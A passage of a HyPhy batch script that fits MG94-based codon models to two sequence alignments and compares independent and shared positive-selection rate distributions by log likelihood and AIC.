(customLoopCounter2=1; customLoopCounter2<6; customLoopCounter2=customLoopCounter2+1)\n\t{\n\t\tfor (customLoopCounter=0; customLoopCounter<customLoopCounter2; customLoopCounter=customLoopCounter+1)\n\t\t{\n\t\t\tif (modelDesc[customLoopCounter2]==modelDesc[customLoopCounter])\n\t\t\t{\n\t\t\t\tModelTitle  = ModelTitle+modelDesc[customLoopCounter2];\t\n\t\t\t\tif (rateBiasTerms[customLoopCounter2] == \"1\")\n\t\t\t\t{\n\t\t\t\t\tmodelConstraintString = modelConstraintString + rateBiasTerms[customLoopCounter]+\":=\"+rateBiasTerms[customLoopCounter2]+\";\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tmodelConstraintString = modelConstraintString + rateBiasTerms[customLoopCounter2]+\":=\"+rateBiasTerms[customLoopCounter]+\";\";\t\t\t\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (customLoopCounter==customLoopCounter2)\n\t\t{\n\t\t\tModelTitle = ModelTitle+modelDesc[customLoopCounter2];\t\n\t\t}\n\t}\t\n\n\n\tif (Abs(modelConstraintString))\n\t{\n\t\tExecuteCommands (modelConstraintString);\n\t}\n\treturn 0;\n}\n\n/*---------------------------------------------------------------------------------------------------------------------------------------------------*/\n\nfunction \t\tdefineRateDistribution (infix)\n{\n\tExecuteCommands (\"global S_\"+infix+\"0  = 0.5;S_\"+infix+\"0:>0.0000001;global NS_\"+infix+\"0 = 0.1;\");\n\n\tfor (mi=1; mi<resp; mi=mi+1)\n\t{\n\t\tcategDef1 * (\"global S_\"+infix+mi+\"=0.5;S_\"+infix+mi+\":>0.0000001;\\nglobal NS_\"+infix+mi+\";\\n\");\n\t\tif (randomizeInitValues)\n\t\t{\n\t\t\tcategDef1*(\"global P_\"+infix+mi+\" = Random(0.05,0.95);\\nP_\"+infix+mi+\":<1;\\n\");\t\n\t\t\tcategDef1*(\"global S_\"+infix+mi+\" = Random(0.05,1);\");\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcategDef1*(\"global P_\"+infix+mi+\" = 1/\"+(resp+1-mi)+\";\\nP_\"+infix+mi+\":<1;\\n\");\n\t\t}\n\t}\n\n\tfreqStrMx    = {resp,1};\n\tif (resp>1)\n\t{\n\t\tfreqStrMx[0] = \"P_\"+infix+\"1\";\n\n\t\tfor (mi=1; mi<resp-1; mi=mi+1)\n\t\t{\n\t\t\tfreqStrMx[mi] = \"\";\n\t\t\tfor (mi2=1;mi2<=mi;mi2=mi2+1)\n\t\t\t{\n\t\t\t\tfreqStrMx[mi] = freqStrMx[mi]+\"(1-P_\"+infix+mi2+\")\";\t\t\n\t\t\t}\n\t\t\tfreqStrMx[mi] = freqStrMx[mi]+\"P_\"+infix+(mi+1);\t\n\t\t}\t\n\t\tfreqStrMx[mi] = \"\";\n\n\t\tfor (mi2=1;mi2<mi;mi2=mi2+1)\n\t\t{\n\t\t\tfreqStrMx[mi] = freqStrMx[mi]+\"(1-P_\"+infix+mi2+\")\";\t\t\n\t\t}\n\t\tfreqStrMx[mi] = freqStrMx[mi]+\"(1-P_\"+infix+mi+\")\";\t\n\t}\n\telse\n\t{\n\t\tfreqStrMx[0] = \"1\";\n\t}\n\n\tcategDef1*( \"\\n\\nglobal c_\"+infix+\"scale:=S_\"+infix+\"0*\" + freqStrMx[0]);\n\n\tfor (mi=1; mi<resp; mi=mi+1)\n\t{\n\t\tcategDef1*( \"+S_\"+infix+mi+\"*\" + freqStrMx[mi]);\n\t}\n\n\tcategDef1 * \";\";\n\n\tfor (mi=0; mi<resp; mi=mi+1)\n\t{\n\t\tcategDef1 * (\"\\nglobal R_\"+infix+mi+\"=1;NS_\"+infix+mi+\":=R_\"+infix+mi+\"*S_\"+infix+mi+\";\\n\");\n\t}\n\n\tif (stratDNDS)\n\t{\n\t\tfor (mi=respP; mi<respN+respP; mi=mi+1)\n\t\t{\n\t\t\tcategDef1 * (\"\\nR_\"+infix+mi+\":=1;\");\n\t\t}\n\n\t\tif (randomizeInitValues)\n\t\t{\n\t\t\tfor (mi=respP+respN; mi<resp; mi=mi+1)\n\t\t\t{\n\t\t\t\tcategDef1 * (\"\\nR_\"+infix+mi+\":<1;R_\"+infix+mi+\"=\"+Random(0.05,0.95)+\";\");\n\t\t\t}\n\n\t\t\tfor (mi=0; mi<respP; mi=mi+1)\n\t\t\t{\n\t\t\t\tcategDef1 * (\"\\nR_\"+infix+mi+\":>1;R_\"+infix+mi+\"=\"+Random(1.05,10)+\";\");\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (mi=respN+respP; mi<resp; mi=mi+1)\n\t\t\t{\n\t\t\t\tcategDef1 * (\"\\nR_\"+infix+mi+\":<1;R_\"+infix+mi+\"=1/\"+(2+mi-respN-respP)+\";\");\n\t\t\t}\n\n\t\t\tfor (mi=0; mi<respP; mi=mi+1)\n\t\t\t{\n\t\t\t\tcategDef1 * (\"\\nR_\"+infix+mi+\":>1;R_\"+infix+mi+\"=2+\"+mi+\";\");\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (randomizeInitValues)\n\t\t{\n\t\t\tfor (mi=0; mi<resp; mi=mi+1)\n\t\t\t{\n\t\t\t\tcategDef1 * (\"\\nR_\"+infix+mi+\"=\"+Random(0.05,1.75)+\";\");\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (mi=0; mi<resp; mi=mi+1)\n\t\t\t{\n\t\t\t\tcategDef1 * (\"\\nR_\"+infix+mi+\"=\"+(0.1+0.3*mi)+\";\");\n\t\t\t}\t\n\t\t}\n\n\t}\n\n\tcategDef1 * 0;\n\treturn 0;\n}\n/*---------------------------------------------------------------------------------------------------------------------------------------------------*/\n\nChoiceList (branchLengths,\"Branch Lengths\",1,SKIP_NONE,\n\t\t\t\"Codon Model\",\"Jointly optimize rate parameters and branch lengths (slow and thorough)\",\n\t\t\t\"Nucleotide Model\",\"Estimate branch lengths once, using an appropriate nucleotide model (quick and dirty).\"\n\t\t    );\n\nif (branchLengths<0)\n{\n\treturn;\n}\n\nfileCount\t= 2;\n#include \"TemplateModels/chooseGeneticCode.def\";\n\nExecuteAFile \t\t    (\"2RatesAnalyses/MG94xREVxBivariate.mdl\");\nfprintf \t\t\t\t(stdout, \"\\nReading input file 1/2\\n\");\nSetDialogPrompt \t\t(\"Please specify codon data #1:\");\nDataSet\t\t\t\t\tds_1 \t\t\t= ReadDataFile (PROMPT_FOR_FILE);\nfprintf\t\t\t\t\t(stdout, \"\\nData file 1: \", LAST_FILE_PATH, \"\\n\\t\", ds_1.species, \" sequences and \", ds_1.sites, \" nucleotides\\n\");\nDataSetFilter \t\t\tfilteredData_1 \t= CreateFilter (ds_1,3,\"\",\"\",GeneticCodeExclusions);\nHarvestFrequencies\t\t(observedFreq_1,filteredData_1,3,1,1);\nHarvestFrequencies\t\t(observedFreqSingle_1,filteredData_1,1,1,1);\ndone = 0;\nwhile (!done)\n{\n\tfprintf (stdout,\"\\nPlease enter a 6 character model designation (e.g:010010 defines HKY85):\");\n\tfscanf  (stdin,\"String\", modelDesc);\n\tif (Abs(modelDesc)==6)\n\t{\t\n\t\tdone = 1;\n\t}\n}\t\t\nModelTitle \t\t\t\t= \"MG94x\"+modelDesc[0];\nrateBiasTerms\t \t\t= {{\"AC_1\",\"1\",\"AT_1\",\"CG_1\",\"CT_1\",\"GT_1\"}};\nDefineNucleotideBiases (0);\nmodelConstraintString_1 = modelConstraintString;\nModelTitle_1\t\t\t= ModelTitle;\t\nfprintf\t\t\t\t\t(stdout, \"Using model \", ModelTitle_1, \" on alignment 1\\n\\n\");\n#include\t\t\t\t\"queryTree.bf\";\ntreeString_1\t\t\t= treeString;\t\t\t\n\n\nfprintf \t\t\t\t(stdout, \"\\nReading input file 2/2\\n\");\nSetDialogPrompt \t\t(\"Please specify codon data #2:\");\nDataSet\t\t\t\t\tds_2 \t\t\t= ReadDataFile (PROMPT_FOR_FILE);\nfprintf\t\t\t\t\t(stdout, \"\\nData file 2: \", LAST_FILE_PATH, \"\\n\\t\", ds_2.species, \" sequences and \", ds_2.sites, \" nucleotides\\n\");\nDataSetFilter \t\t\tfilteredData_2 \t= CreateFilter (ds_2,3,\"\",\"\",GeneticCodeExclusions);\nHarvestFrequencies\t\t(observedFreq_2,filteredData_2,3,1,1);\nHarvestFrequencies\t\t(observedFreqSingle_2,filteredData_2,1,1,1);\ndone = 0;\nwhile (!done)\n{\n\tfprintf (stdout,\"\\nPlease enter a 6 character model designation (e.g:010010 defines HKY85):\");\n\tfscanf  (stdin,\"String\", modelDesc);\n\tif (Abs(modelDesc)==6)\n\t{\t\n\t\tdone = 1;\n\t}\n}\t\t\nModelTitle \t\t\t\t= \"MG94x\"+modelDesc[0];\nrateBiasTerms\t \t\t= {{\"AC_2\",\"1\",\"AT_2\",\"CG_2\",\"CT_2\",\"GT_2\"}};\nDefineNucleotideBiases (0);\nmodelConstraintString_2 = modelConstraintString;\nModelTitle_2\t\t\t= ModelTitle;\t\nfprintf\t\t\t\t\t(stdout, \"Using model \", ModelTitle_2, \" on alignment 2\\n\\n\");\n#include\t\t\t\t\"queryTree.bf\";\ntreeString_2\t\t\t= treeString;\t\t\t\n\t\t\t\t\t\t  \ntotalCodonCount\t\t\t= filteredData_1.sites + filteredData_2.sites;\n\nChoiceList (randomizeInitValues, \"Initial Value Options\",1,SKIP_NONE,\n\t\t\t\"Default\",\t \"Use default inital values for rate distribution parameters.\",\n\t\t\t\"Randomized\",\t \"Select initial values for rate distribution parameters at random.\");\n\n\nif (randomizeInitValues < 0)\n{\n\treturn;\n}\n\nstratDNDS = 1;\nresp  \t  = 4;\nrespM \t  = 2;\nrespN \t  = 1;\nrespP \t  = 1;\n\nfprintf (stdout, \"\\nUsing\\n\\t\", respM, \" negatively selected classes\\n\\t\", respN, \" neutrally evolving classes\\n\\t\", \n\t\t\t\t\trespP, \" positively selected classes\\n\\n\");\n\ncategDef1 = \"\";\ncategDef1 * 1024;\n\nlfDef\t  = {};\n\nfor (fileID = 0; fileID < fileCount; fileID = fileID + 1)\n{\n\tlfDef[fileID] = \"\";\n\tlfDef[fileID] * 1024;\n\tlfDef[fileID] * \"Log(\";\n}\n\ndefineRateDistribution (\"1_\");\ncategDef_1  = categDef1;\nfreqStrMx_1 = freqStrMx;\n\nfor (mi=0; mi<resp; mi=mi+1)\n{\n\tfileID = 0;\n\tif (mi)\n\t{\n\t\tlfDef[fileID] * \"+\";\n\t}\n\tlfDef[fileID]*(freqStrMx_1[mi]+\"*SITE_LIKELIHOOD[\"+(fileID*resp+mi)+\"]\");\t\t\n}\n\ndefineRateDistribution (\"2_\");\ncategDef_2  = categDef1;\nfreqStrMx_2 = freqStrMx;\n\nfor (mi=0; mi<resp; mi=mi+1)\n{\n\tfileID = 1;\n\tif (mi)\n\t{\n\t\tlfDef[fileID] * \"+\";\n\t}\n\tlfDef[fileID]*(freqStrMx_2[mi]+\"*SITE_LIKELIHOOD[\"+(fileID*resp+mi)+\"]\");\t\t\n}\n\nlfDef1 = \"\";\nlfDef1 * 128;\nlfDef1 * \"\\\"\";\n\nfor (fileID = 0; fileID < fileCount; fileID = fileID + 1)\n{\n\tlfDef[fileID] * \")\";\n\tlfDef[fileID] * 0;\n\tlfDef1 * lfDef[fileID];\n\tif (fileID < fileCount - 1)\n\t{\n\t\tlfDef1 * \"+\";\n\t}\n}\n\nlfDef1 \t  * \"\\\"\";\nlfDef1\t  * 0;\n\nExecuteCommands (categDef_1);\nExecuteCommands (categDef_2);\n\nModelMatrixDimension = 64;\nfor (h = 0 ;h<64; h=h+1)\n{\n\tif (_Genetic_Code[h]==10)\n\t{\n\t\tModelMatrixDimension = ModelMatrixDimension-1;\n\t}\n}\n\nSetDialogPrompt (\"Save resulting fits to:\");\nfprintf \t\t(PROMPT_FOR_FILE, CLEAR_FILE);\nresToPath \t\t= LAST_FILE_PATH;\n\nvectorOfFrequencies_1 = BuildCodonFrequencies (observedFreq_1);\nvectorOfFrequencies_2 = BuildCodonFrequencies (observedFreq_2);\n\nfprintf\t\t\t(stdout, \"Fitting a nucleotide model to approximate branch lengths and get starting nucleotide bias estimates...\\n\");\n\nnucModelMatrix_1 \t\t\t= {{*,AC_1*t,t,AT_1*t}{AC_1*t,*,CG_1*t,CT_1*t}{t,CG_1*t,*,GT_1*t}{AT_1*t,CT_1*t,GT_1*t,*}};\nModel nucModel_1 \t\t\t= (nucModelMatrix_1,observedFreqSingle_1);\nDataSetFilter \tnucFilter_1 = CreateFilter (filteredData_1,1);\nTree  \t\t\tnucTree_1 \t= treeString_1;\n\nnucModelMatrix_2 = {{*,AC_2*t,t,AT_2*t}{AC_2*t,*,CG_2*t,CT_2*t}{t,CG_2*t,*,GT_2*t}{AT_2*t,CT_2*t,GT_2*t,*}};\nModel nucModel_2 = (nucModelMatrix_2,observedFreqSingle_2);\nDataSetFilter \tnucFilter_2 = CreateFilter (filteredData_2,1);\nTree  \t\t\tnucTree_2 \t= treeString_2;\n\nLikelihoodFunction nuc_lf = (nucFilter_1, nucTree_1, nucFilter_2, nucTree_2);\nOptimize (nuc_res, nuc_lf);\n\nglobal \t codonFactor_1 = 0.33;\nglobal \t codonFactor_2 = 0.33;\n\nlfParts\t= \"\";\nlfParts * 128;\nlfParts * \"LikelihoodFunction lf = (filteredData_1,tree_1_0\";\n\nfor (fileID = 1; fileID <= fileCount; fileID = fileID + 1)\n{\n\trateMultipliers \t= {{\"\"   ,\"AC_\"+fileID+\"*\",\"\"   ,\"AT_\"+fileID+\"*\"}\n\t\t\t\t\t\t   {\"AC_\"+fileID+\"*\",\"\"   ,\"CG_\"+fileID+\"*\",\"CT_\"+fileID+\"*\"}\n\t\t\t\t\t\t   {\"\"   ,\"CG_\"+fileID+\"*\",\"\"   ,\"GT_\"+fileID+\"*\"}\n\t\t\t\t\t\t   {\"AT_\"+fileID+\"*\",\"CT_\"+fileID+\"*\",\"GT_\"+fileID+\"*\",\"\" }\n\t\t\t\t\t\t  };\n\n\tfor (part = 0; part < resp; part = part + 1)\n\t{\n\t\tExecuteCommands (\"PopulateModelMatrix(\\\"rate_matrix_\"+fileID+\"_\"+part+\"\\\",observedFreq_\"+fileID+\",\\\"S_\"+fileID+\"_\"+part+\"/c_\"+fileID+\"_scale\\\",\\\"NS_\"+fileID+\"_\"+part+\"/c_\"+fileID+\"_scale\\\");\");\n\t\tExecuteCommands (\"Model MG94model_\"+fileID+\"_\"+part+\"= (rate_matrix_\"+fileID+\"_\"+part+\",vectorOfFrequencies_\"+fileID+\",0);\");\n\t\t\n\t\ttreeID = \"tree_\"+fileID+\"_\"+part;\n\t\tExecuteCommands (\"Tree \"+treeID+\"=treeString_\" + fileID +\";\");\n\t\tif (branchLengths)\n\t\t{\n\t\t\tExecuteCommands (\"ReplicateConstraint (\\\"this1.?.synRate:=this2.?.t__/codonFactor_\"+fileID+\"\\\",\"+treeID+\",nucTree_\"+fileID+\");\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (part == 0)\n\t\t\t{\t\n\t\t\t\tExecuteCommands (\"bnames = BranchName(nucTree_\" + fileID + \",-1);\");\n\t\t\t\tnlfDef = \"\";\n\t\t\t\tnlfDef * 128;\n\t\t\t\tfor (lc = 0; lc < Columns (bnames); lc=lc+1)\n\t\t\t\t{\n\t\t\t\t\tnlfDef * (treeID + \".\" + bnames[lc] + \".synRate = nucTree_\" + fileID + \".\" + bnames[lc] + \".t/codonFactor_\"+fileID+\";\");\n\t\t\t\t}\n\t\t\t\tnlfDef * 0;\n\t\t\t\tExecuteCommands (nlfDef);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tExecuteCommands (\"ReplicateConstraint (\\\"this1.?.synRate:=this2.?.synRate\\\",\"+treeID+\",tree_\"+fileID+\"_0);\");\n\t\t\t}\n\t\t}\n\t\tif (part || fileID > 1)\n\t\t{\n\t\t\tlfParts = lfParts + \",filteredData_\" + fileID + \",\" + treeID;\n\t\t}\n\t}\n}\n\nlfParts * 0;\nExecuteCommands (lfParts + \",\" + lfDef1 + \");\");\n\nsumPath = resToPath + \".summary\";\n\ntreeBranchParameters = 0;\nfor (fileID = 1; fileID <= fileCount; fileID = fileID + 1)\n{\n\tExecuteCommands (\"treeBranchParameters = treeBranchParameters + BranchCount(tree_\" + fileID + \"_0) + TipCount(tree_\" + fileID + \"_0);\");\n}\t\n\n/*-------------- INDEPENDENT DISTRIBUTIONS  ------------------*/\n\nsop = Max(OPTIMIZATION_PRECISION,0.001);\n\nfprintf (stdout, \"Running simpler distribution approximations to ensure good convergence...\\n\");\n\nOPTIMIZATION_PRECISION = 0.1;\n\nP_1_1 := 0;P_1_2 := 0;P_1_3 := 0;\nP_2_1 := 0;P_2_2 := 0;P_2_3 := 0;\n\nS_1_0 := 1;S_1_1 := 1;S_1_2 := 1;S_1_3 := 1;\nS_2_0 := 1;S_2_1 := 1;S_2_2 := 1;S_2_3 := 1;\nR_1_0 := 1;R_1_1 := 1;R_1_2 := 1;\nR_2_0 := 1;R_2_1 := 1;R_2_2 := 1;\n\nOptimize (res,lf);\nUSE_LAST_RESULTS \t\t= 1;\nSKIP_CONJUGATE_GRADIENT = 1;\n\nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",1);\nd2 = ReportDistributionString(4,freqStrMx_2,\"2_\",1);\n\nfprintf (stdout,  \"\\n*** Done with pass 1. Log(L) = \", Format(res[1][0],10,3), \" *** \\n\");\nfprintf (stdout,  \"Approximate rates for data set 1:\\n\", d1);\nfprintf (stdout,  \"Approximate rates for data set 2:\\n\", d2);\n\ncodonFactor_1 := codonFactor_1__;\ncodonFactor_2 := codonFactor_2__;\n\nAC_1  := AC_1__; AT_1  := AT_1__; CG_1  := CG_1__; CT_1  := CT_1__; GT_1  := GT_1__;\nAC_2  := AC_2__; AT_2  := AT_2__; CG_2  := CG_2__; CT_2  := CT_2__; GT_2  := GT_2__;\n\n\n\nfprintf (stdout, \"\\nGateaux sampling positively selected directions\\n\");\n\nP_1_1 = 2/filteredData_1.sites;\nS_1_3 = 1;\n\nbaseLineLL  = res[1][0];\nLFCompute \t(lf,LF_START_COMPUTE);\nbestDiff \t= -1e100;\nbestAlpha \t= 1;\nbestBeta  \t= 1;\nbestLL\t\t= -1e100;\n\nstep  \t\t= 0.1;\nstep2 \t\t= 0.25;\nv1 \t\t\t= 0.05;\n\nfor (v1c = 0; v1c < 10; v1c = v1c + 1)\n{\n\tv2 = v1+step; \n\tfor (v2c = 0; v2c < 20; v2c = v2c+1)\n\t{\n\t\tcheckASample (\"1_0\");\t\n\t\tv2 = v2 + step2;\n\t}\n\tv1 = v1+step;\n} \n\nS_1_0 = bestAlpha;\nR_1_0 = bestBeta;\nbestAlpha \t= 1;\nbestBeta  \t= 1;\n\nif (bestDiff <= 0)\n{\n\tP_1_1 = 0;\n}\nsaveBD = bestDiff;\n\nP_2_1 = 1/filteredData_2.sites;\nS_2_3 = 1;\n\nv1 \t\t\t= 0.05;\nfor (v1c = 0; v1c < 10; v1c = v1c + 1)\n{\n\tv2 = v1+step; \n\tfor (v2c = 0; v2c < 20; v2c = v2c+1)\n\t{\n\t\tcheckASample (\"2_0\");\t\n\t\tv2 = v2 + step2;\n\t}\n\tv1 = v1+step;\n} \n\nLFCompute (lf,LF_DONE_COMPUTE);\n\nS_2_0 = bestAlpha;\nR_2_0 = bestBeta;\n\nif (bestDiff <= saveBD)\n{\n\tP_2_1 = 0;\n}\n\nif (bestDiff > 0)\n{\n\tfprintf (stdout, \"\\nFound a likelihood improvement in the direction (\", S_1_0, \",\", S_1_0*R_1_0, \"), (\", S_2_0, \",\", S_2_0*R_2_0, \"), \",bestDiff,\" likelihood points\\n\");\n}\n\n\nOptimize (res,lf);\n\nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",1);\nd2 = ReportDistributionString(4,freqStrMx_2,\"2_\",1);\n\nfprintf (stdout,  \"\\n*** Done with pass 2. Log(L) = \", Format(res[1][0],10,3), \" *** \\n\");\nfprintf (stdout,  \"Approximate rates for data set 1:\\n\", d1);\nfprintf (stdout,  \"Approximate rates for data set 2:\\n\", d2);\n\n\nfprintf (stdout, \"\\nGateaux sampling neutral directions\\n\");\n\nbaseLineLL  = res[1][0];\nLFCompute \t(lf,LF_START_COMPUTE);\n\nP_1_2 = 1/(filteredData_1.sites*(1-P_1_1));\nbestDiff \t= -1e100;\nbestAlpha \t= 1;\nstep = 0.02;\nv1 = 0;\nfor (v1c = 0; v1c < 50; v1c = v1c + 1)\n{\n\tv1 = v1 + step;\n\tv2 = v1;\n\t\n\tcheckASample (\"1_1\");\n}\t\n\n\nS_1_1 = bestAlpha;\nbestAlpha \t= 1;\n\nif (bestDiff <= 0)\n{\n\tP_1_2 = 0;\n}\nsaveBD = bestDiff;\nR_1_1 := 1;\n\nP_2_2 = 1/(filteredData_2.sites*(1-P_2_1));\n\nv1 = 0;\nfor (v1c = 0; v1c < 50; v1c = v1c + 1)\n{\n\tv1 = v1 + step;\n\tv2 = v1;\n\t\n\tcheckASample (\"2_1\");\n}\t\n\n\nLFCompute (lf,LF_DONE_COMPUTE);\n\nS_2_1 = bestAlpha;\nR_2_1 := 1;\n\nif (bestDiff <= saveBD)\n{\n\tP_2_2 = 0;\n}\n\nif (bestDiff > 0)\n{\n\tfprintf (stdout, \"\\nFound a likelihood improvement in the direction (\", S_1_1, \",\", S_1_1, \"), (\", S_2_1, \",\", S_2_1, \"), \",bestDiff,\" likelihood points\\n\");\n}\n\nOptimize (res,lf);\nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",1);\nd2 = ReportDistributionString(4,freqStrMx_2,\"2_\",1);\n\nfprintf (stdout,  \"\\n*** Done with pass 3. Log(L) = \", Format(res[1][0],10,3), \" *** \\n\");\nfprintf (stdout,  \"Approximate rates for data set 1:\\n\", d1);\nfprintf (stdout,  \"Approximate rates for data set 2:\\n\", d2);\n\nfprintf (stdout, \"\\nGateaux sampling negative selected directions\\n\");\n\n\nbaseLineLL  = res[1][0];\nLFCompute \t(lf,LF_START_COMPUTE);\nbestDiff \t= -1e100;\nbestAlpha \t= 1;\nbestBeta  \t= 1;\n\n\nstep = 1/16;\nv1 = 0;\nP_1_3 = 2/(filteredData_1.sites*(1-P_1_1)*(1-P_1_2));\nS_1_2 = 1;\nfor (v1c = 0; v1c < 15; v1c = v1c + 1)\n{\n\tv1 = v1+step;\n\tv2 = step/2; \n\tfor (v2c = 0; v2c < v1c; v2c = v2c+1)\n\t{\n\t\tcheckASample (\"1_2\");\t\n\t\tv2 = v2 + step;\n\t}\n} \n\n\nS_1_2 = bestAlpha;\nR_1_2 = bestBeta;\nbestAlpha \t= 1;\nbestBeta  \t= 1;\n\nif (bestDiff <= 0)\n{\n\tP_1_3 = 0;\n}\nsaveBD = bestDiff;\n\n\nv1 = 0;\nP_2_3 = 2/(filteredData_2.sites*(1-P_2_1)*(1-P_2_2));\nS_2_2 = 1;\nfor (v1c = 0; v1c < 15; v1c = v1c + 1)\n{\n\tv1 = v1+step;\n\tv2 = step/2; \n\tfor (v2c = 0; v2c < v1c; v2c = v2c+1)\n\t{\n\t\tcheckASample (\"2_2\");\t\n\t\tv2 = v2 + step;\n\t}\n} \n\nLFCompute (lf,LF_DONE_COMPUTE);\n\nS_2_2 = bestAlpha;\nR_2_2 = bestBeta;\n\nif (bestDiff <= saveBD)\n{\n\tP_2_2 = 0;\n}\n\nif (bestDiff > 0)\n{\n\tfprintf (stdout, \"\\nFound a likelihood improvement in the direction (\", S_1_2, \",\", S_1_2*R_1_2, \"), (\", S_2_2, \",\", S_2_2*R_2_2, \"), \",bestDiff,\" likelihood points\\n\");\n}\n\nAC_1  = AC_1; AT_1  = AT_1; CG_1  = CG_1; CT_1  = CT_1; GT_1  = GT_1;\nAC_2  = AC_2; AT_2  = AT_2; CG_2  = CG_2; CT_2  = CT_2; GT_2  = GT_2;\n\nif (Abs(modelConstraintString_1))\n{\n\tExecuteCommands (modelConstraintString_1);\n}\nif (Abs(modelConstraintString_2))\n{\n\tExecuteCommands (modelConstraintString_2);\n}\n\ncodonFactor_1 = codonFactor_1;\ncodonFactor_2 = codonFactor_2;\n\n\nGetString (paramList, lf, -1);\ndegF = Columns(paramList[\"Global Independent\"]) + 14 - 2*branchLengths + treeBranchParameters; \n\nOPTIMIZATION_PRECISION = sop;\nfprintf (stdout, \"Running an independent distributions model fit (\", degF, \" parameters)...\\n\");\nOptimize (res,lf);\nLogL = res[1][0];\n\nAIC\t = 2*(degF-LogL);\nAICc = 2*(degF*totalCodonCount/(totalCodonCount-degF-1) - LogL);\n\nfprintf (stdout, \"\\n\\nIndependent distributions model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogL, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degF, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AIC,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICc,  15, 5),\"\\n\"\n);\n\nfprintf (sumPath,CLEAR_FILE,\"Independent distributions model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogL, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degF, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AIC,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICc,  15, 5),\"\\n\");\n\t\t\t\t \nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",0);\nd2 = ReportDistributionString(4,freqStrMx_2,\"2_\",0);\n\nfprintf (stdout,  \"Inferred rates for data set 1:\\n\", d1);\nfprintf (sumPath, \"Inferred rates for data set 1:\\n\", d1);\nfprintf (stdout,  \"Inferred rates for data set 2:\\n\", d2);\nfprintf (sumPath, \"Inferred rates for data set 2:\\n\", d2);\n\nLIKELIHOOD_FUNCTION_OUTPUT = 6;\nfprintf (resToPath,CLEAR_FILE,lf);\n\n\n/*-------------- SHARED POSITIVE SELECTION STRENGTHS  ------------------*/\n\nfor (k=0; k<respP; k=k+1)\n{\n\tExecuteCommands (\"R_1_\"+k+\"=0.5(R_1_\"+k+\"+R_2_\"+k+\");\");\n\tExecuteCommands (\"R_2_\"+k+\":=R_1_\"+k+\";\");\n}\n\nGetString (paramList, lf, -1);\ndegFPSS = Columns(paramList[\"Global Independent\"]) + 14 - 2*branchLengths + treeBranchParameters; \n\t\nfprintf (stdout, \"\\nRunning a shared positive selection strengths model (\",degFPSS,\" parameters)...\\n\");\nOptimize (res_PSS,lf);\nLogLPSS = res_PSS[1][0];\n\nAICPSS\t = 2*(degFPSS-LogLPSS);\nAICcPSS    = 2*(degFPSS*totalCodonCount/(totalCodonCount-degFPSS-1) - LogLPSS);\n\nfprintf (stdout, \"\\n\\nShared positive selection strengths model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLPSS, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFPSS, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AICPSS,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcPSS,  15, 5),\"\\n\"\n);\n\nfprintf (sumPath, \"\\n\\nShared positive strengths regime model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLPSS, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFPSS, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AICPSS,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcPSS,  15, 5),\"\\n\"\n);\n\nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",0);\nd2 = ReportDistributionString(4,freqStrMx_2,\"2_\",0);\n\nfprintf (stdout,  \"Inferred rates for data set 1:\\n\", d1);\nfprintf (sumPath, \"Inferred rates for data set 1:\\n\", d1);\nfprintf (stdout,  \"Inferred rates for data set 2:\\n\", d2);\nfprintf (sumPath, \"Inferred rates for data set 2:\\n\", d2);\nfpath = resToPath + \".SharedStrength\";\nLIKELIHOOD_FUNCTION_OUTPUT = 6;\nfprintf (fpath,CLEAR_FILE,lf);\n\n/*-------------- SHARED POSITIVE SELECTION PROPORTIONS  ------------------*/\n\n/* RELOAD INDEPENDENT FIT */\nDeleteObject (lf);\nExecuteAFile (resToPath);\n\nfor (k=1; k<=respP; k=k+1)\n{\n\tExecuteCommands (\"P_1_\"+k+\"=0.5(P_1_\"+k+\"+P_2_\"+k+\");\");\n\tExecuteCommands (\"P_2_\"+k+\":=P_1_\"+k+\";\");\n}\n\nGetString (paramList, lf, -1);\ndegFPSP = Columns(paramList[\"Global Independent\"]) + 14 - 2*branchLengths + treeBranchParameters; \nfprintf (stdout, \"\\nRunning a shared positive selection proportions model (\",degFPSP,\" parameters) ...\\n\");\nOptimize (res_PSP,lf);\nLogLPSP = res_PSP[1][0];\n\n\nAICPSP\t = 2*(degFPSP-LogLPSP);\nAICcPSP    = 2*(degFPSP*totalCodonCount/(totalCodonCount-degFPSP-1) - LogLPSP);\n\nfprintf (stdout, \"\\n\\nShared positive selection proportions model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLPSP, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFPSP, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AICPSP,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcPSP,  15, 5),\"\\n\"\n);\n\nfprintf (sumPath, \"\\n\\nShared positive proportions regime model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLPSP, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFPSP, 15, 0),\n\t\t\t\t \"\\nAIC           :\", 